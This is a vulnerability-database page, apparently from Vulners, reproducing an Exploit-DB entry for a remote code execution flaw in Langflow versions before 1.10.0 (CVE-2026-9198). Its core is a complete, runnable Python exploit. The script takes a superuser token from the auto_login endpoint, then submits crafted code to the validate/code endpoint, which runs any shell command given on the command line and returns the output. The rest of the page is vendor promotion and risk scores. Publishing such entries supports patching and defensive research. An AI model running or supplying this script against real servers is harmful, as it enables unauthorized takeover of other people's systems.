Lucene search
+L

Langflow 1.10.0 - RCE

🗓️ 02 Sep 2026 00:00:00Reported by Richard HoweType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 10 Views

RCE in Langflow below 1.10.0 via SUPERUSER token and arbitrary code in validate/code endpoint.

Related
Code
# Exploit Title:  Langflow 1.10.0 - RCE
# Exploit Author: Richard Howe <rhowe425>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: < 1.10.0
# Tested on: Ubuntu 22.04
# CVE : CVE-2026-9198

import argparse
from requests import get, post


def stage1(base_url: str) -> str:
    endpoint = '/api/v1/auto_login'
    headers = {
        'Content-Type': 'application/json',
    }

    try:
        resp = get(base_url + endpoint)
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{str(e)}")

    if resp.status_code == 200:
        resp_json = resp.json()
        return resp_json['access_token']
    else:
        raise RuntimeError(f"API returned with status code: {resp.status_code}")


def stage2(base_url:str, token: str, cmd: str):
    endpoint = '/api/v1/validate/code'
    headers = {'Authorization': f'Bearer {token}'}
    data = {"code":"\ndef exploit(\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\"{r.stdout}{r.stderr}\")) )(\n        __import__('subprocess').run('%s', shell=True, capture_output=True, text=True)\n    )\n):\n    pass\n" % cmd}

    try:
        resp = post(base_url + endpoint, headers=headers, json=data)
    except Exception as e:
        raise RuntimeError(f"Error querying API.\n{str(e)}")

    if resp.status_code == 200:
        resp_json = resp.json()
        print(resp_json)
    else:
        raise RuntimeError(f"API returned with status code: {resp.status_code}")


def main():
    parser = argparse.ArgumentParser(description="Exploit for Langflow RCE CVE-2026-9198")
    parser.add_argument('-u', '--url', required=True, help="Target url. e.g. http://127.0.0.1:7860")
    parser.add_argument('-c', '--command', required=True, help="Bash command to execute.")
    args = parser.parse_args()

    # Retrieve SUPERUSER token
    token = stage1(base_url=args.url)

    # Leverage SUPERUSER token to execute arbitrary code
    stage2(base_url=args.url, token=token, cmd=args.command)


main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Sep 2026 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.57019
SSVC
10